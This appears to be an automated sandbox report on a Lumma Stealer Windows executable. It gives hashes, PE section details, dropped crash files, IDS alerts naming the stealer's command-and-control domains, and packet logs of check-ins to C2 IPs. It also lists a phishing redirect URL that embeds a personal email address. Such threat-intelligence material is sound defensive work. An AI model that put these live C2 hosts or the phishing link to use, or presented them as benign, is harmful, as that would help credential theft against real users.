	https://60ms64xz.r.eu-west-1.awstrack.me/L0/https:%2F%2Fnym1-ib.adnxs.com%2Fclick2%3Fe=wqT_3QKhAfCBoQAAAAMAxBkFAQj1xf22BhCN5rHDq8rIsXYY6OvVqs3R1c9aIPXtswsoykEwhx04AkDV-qXwAUiY1VJQAFoDVVNEYgNVU0RorAJw-gF4kfdrgAG5zAOIAQGQAQGYAQWgAQKpAVM7_DVZo44_sQHWE0zrJXyFP7kBAAAAwMzM7D_BAREUDMkBUDsJKDDYAQDgAQDwAdEO-AEA%2Fs=555aa6e5683ce51c048a98b83e6a923b5a8d9a2c%2Fbcr=AAAAAAAA8D8=%2Fcnd=%25218hVjbgiv18IdENX6pfABGJjVUiAAKAAxmpmZmZmZuT86CU5ZTTI6NTI1NECoR0kAAAAAAADwP1EAAAAAAAAAAFkAAAAAAAAAAGEAAAAAAAAAAGkAAAAAAAAAAHEAAAAAAAAAAHgAiQEAAAAAAADwPw..%2Fcca=MzcxOSNOWU0yOjUyNTQ=%2Fbn=58937%2Fclickenc=http%253A%252F%252Faa.ns.agingbydesignministry.org%3FMlcinsurance=grant.harpur@mlcinsurance.com.au/1/0102019284444055-c8ec5399-450a-413f-acab-546e07ef32e7-000000/Qxx4uNY6H1RoEfFUkvzFba2SPik=395	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	http://painel.simpatiafm.com.br/	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.Win32.Trojan.Agent.1MWNV4.31044.30727.exe	Get hash	malicious	Unknown	Browse	104.20.86.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SecuriteInfo.com.Win32.Trojan.Agent.1MWNV4.31044.30727.exe	Get hash	malicious	Unknown	Browse	172.67.35.220
	SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Trojan.Agent.1MWNV4.31044.30727.exe	Get hash	malicious	Unknown	Browse	23.212.89.10
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Trojan.Agent.1MWNV4.31044.30727.exe	Get hash	malicious	Unknown	Browse	2.19.126.150
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.11764.10915.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Win32.Evo-gen.11764.10915.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Variant.Lazy.606929.21165.21266.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_2f26e4b65edfc9809a16d7533fcfcfa7c28d99cc_852b229c_92fb6e2e-1bd9-4b91-8814-cd6295476d3d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0430736213201095
Encrypted:	false
SSDEEP:	192:Pojj5B0Yo55vfPlktS0BU/fI3juFCoV2hzuiF/Z24IO8TVB:xfN6ZBU/YjMOzuiF/Y4IO8X
MD5:	68C47070DFB273E5C48DC38B4CE537EE
SHA1:	44F3472B921C9CB31C40BC1B8E62A122D02078A4
SHA-256:	FBABE6B58200536CC40992CDEFE81C8974A0DAA22318C039C9D45FD0A6566FC6
SHA-512:	FDDE9FEF8B3AB226CB2F25C84E7AE497369D69D41B5AC4561EA10F53D7AF2D819C298E26293301B63B92FF43DE6F01562D7CE015FBC14B4B3B78E41ADA0115BA
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.3.4.4.6.3.3.2.3.1.0.9.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.3.4.4.6.3.4.1.3.7.3.3.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.2.f.b.6.e.2.e.-.1.b.d.9.-.4.b.9.1.-.8.8.1.4.-.c.d.6.2.9.5.4.7.6.d.3.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.8.b.6.5.c.7.6.-.6.4.e.2.-.4.6.b.3.-.8.9.f.a.-.1.c.8.9.b.1.1.b.4.7.e.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.c.0.-.0.0.0.1.-.0.0.1.4.-.c.6.8.d.-.b.0.5.e.d.c.1.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.4.d.3.9.7.e.1.6.c.2.3.6.a.f.9.6.6.2.5.3.e.0.7.6.3.6.0.4.8.7.b.0.d.b.0.3.d.2.f.b.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF61A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 14 01:57:13 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	294164
Entropy (8bit):	1.480256139213818
Encrypted:	false
SSDEEP:	768:00AAABrN1qafajtJScK5vGimsNkXcbLGIM:PApN1qAaB+nccbi3
MD5:	BAC0626576271E1D4D369C44F893F443
SHA1:	7EA5F6337125A3741577630E36E334A73122D793
SHA-256:	0029C355346E5B41D57AC722074B1422A7417AAD9B14AF226061A54F38A6F95C
SHA-512:	62AFE234FC3AF3E26D042545F0532F89A29C864A02E5A131F6BE509D576E521B707FECE82F3A634D902772E708931BB0D26FA37B9DCD6BEE8114E7EB206C371E
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......yz.g........................T...........l...,'.....................`.......8...........T........... J...2...........'...........)..............................................................................eJ.......*......GenuineIntel............T...........qz.g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF89C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8290
Entropy (8bit):	3.6926737642541476
Encrypted:	false
SSDEEP:	192:R6l7wVeJOC36Y6Y9VmSUurKgmfBGetprSW89bT/sfAzRm:R6lXJt6Y6YHmSUurKgmfZi/Tkfl
MD5:	61A3330EB27660E3E8991F3763A62F6D
SHA1:	D3446E830CD5491C2B59E27C77D23E9F7E0FF4AB
SHA-256:	6F21557C7886B6C4960A5E4E10FBE03FECF1E565A09884932C69BB33AC704BF0
SHA-512:	14EF199AAA85D3AAA6A68589F9C92F2F4728E2EA36D9D52C8CEBE5509392A6A43D90E81B5CD303B170B6690B92730C0AF012F7B27C2E45D60B8E470EC123718F
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF8DB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.4305358777858475
Encrypted:	false
SSDEEP:	48:cvIwWl8zsjJg77aI9vJbKWpW8VYsYm8M4JjlFCZ+q8CIGhUufd:uIjf9I7nf7VYJaYGeufd
MD5:	AA341CFC091085769D40C99740C0F040
SHA1:	E2D2FD649F236A9ED35461CD4421605894DF6CC4
SHA-256:	C6E4DD263C05EAA49C6FDE455029E1165BCFC3E2528DD78B647BE0A13748C0DD
SHA-512:	C747300922A52BCB50CDD6459D8101FA821962E7B7CCBD7061A2C44149739A77B14EEC3DACE4C450EA8E184EE503611258EBEDCF0F5DFAC650A3EEDF70C4EC12
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="542459" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465290231556066
Encrypted:	false
SSDEEP:	6144:TIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbp:EXD94+WlLZMM6YFH1+p
MD5:	DB50CE881EAADCD0112D995747AE45EE
SHA1:	7E4DBC14232FC99CCC9689974FAB64E0CBFD91B3
SHA-256:	429D08C6CFAF1178D15897E8C138485D599DF3C8FFD6E4C4805969FB8FF665AF
SHA-512:	424437155B1B34A5F92453B112F8C0246C5D8F19D13C2E0C23A8EA309D17ABC4BA7C2D42CB48C4E444E19D346AFD85DC575A092DB6DB2E34E3DE40C9E1D7A691
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.].b...................................................................................................................................................................................................................................................................................................................................................V........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.534367610683792
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'952'192 bytes
MD5:	283f654b01a0041e91613545e4b1b7d1
SHA1:	4d397e16c236af966253e076360487b0db03d2fb
SHA256:	5f4bbf88da5f3b824e903fa9b2b0458f684ff94157abca983e32c18f7da9f70b
SHA512:	3f5d5aa516d31ee3738eee0e33241a8ca1fb9e830146b1e133b7874dcd0d89efd1f5dc7d8db27cd1e48d1e7c2d588112059e910899e6f99e05c67eeaba532a7d
SSDEEP:	49152:kYXIDZ+gOigbzjCaVym1Gxx1H2bKmyDc:kYXIDZ+gOigbzjCagucx10KPDc
TLSH:	40D53AA1A40D72CFF4CE1778D52BCE46596E07FA472008C3986D75BA7DA3CC125BAC68
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.......-...@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x709000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7648C9527Ah
pminsw mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7648C97275h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	9bb59d96493e09b26642cb8565f43ae0	False	0.9995874587458746	OpenPGP Public Key	7.984995408266034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
knvbsjee	0x60000	0x2a8000	0x2a7600	10142cc2df7efbdca607d09e4748085f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
blpyabbn	0x308000	0x1000	0x400	b34d1798a637da73ea1f980733208138	False	0.7919921875	data	6.17482717238902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x309000	0x3000	0x2200	dc5a80094294bc98113c66f5989d6289	False	0.09558823529411764	DOS executable (COM)	1.0925521783158207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T03:57:09.547857+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	60736	1.1.1.1	53	UDP
2024-10-14T03:57:09.558059+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	57732	1.1.1.1	53	UDP
2024-10-14T03:57:09.567874+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	57641	1.1.1.1	53	UDP
2024-10-14T03:57:09.579914+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	54780	1.1.1.1	53	UDP
2024-10-14T03:57:09.589679+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	60435	1.1.1.1	53	UDP
2024-10-14T03:57:09.602986+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	65256	1.1.1.1	53	UDP
2024-10-14T03:57:09.626697+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	63826	1.1.1.1	53	UDP
2024-10-14T03:57:09.639455+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	54660	1.1.1.1	53	UDP
2024-10-14T03:57:10.919588+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	104.102.49.254	443	TCP
2024-10-14T03:57:11.721625+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T03:57:11.721625+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T03:57:12.971702+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-14T03:57:12.971702+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.206.204	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 03:57:09.664815903 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:09.664911985 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:09.664997101 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:09.668440104 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:09.668474913 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.391253948 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.391334057 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.394933939 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.394959927 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.395361900 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.441219091 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.485296965 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.531451941 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919673920 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919728994 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919770956 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.919780970 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919796944 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919836998 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919864893 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:10.919900894 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.919900894 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.919900894 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:10.919964075 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.051736116 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.051800013 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.051831961 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.051867962 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.051896095 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.051947117 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.057419062 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.057517052 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.057532072 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.057588100 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.057631969 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.057686090 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.065529108 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 03:57:11.065561056 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 03:57:11.093750000 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.093842030 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.093940020 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.094324112 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.094399929 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.578244925 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.578331947 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.582703114 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.582731962 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.582995892 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.584619999 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.584664106 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.584744930 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.721756935 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.721926928 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.722074032 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.722104073 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.722171068 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.722239017 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.722264051 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.722476006 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.722670078 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.725781918 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.725781918 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:11.725852013 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:11.725887060 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.050019026 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.050112963 CEST	443	49732	172.67.206.204	192.168.2.4
Oct 14, 2024 03:57:12.050218105 CEST	49732	443	192.168.2.4	172.67.206.204
Oct 14, 2024 03:57:12.050916910 CEST	49732	443	192.168.2.4	172.67.206.204
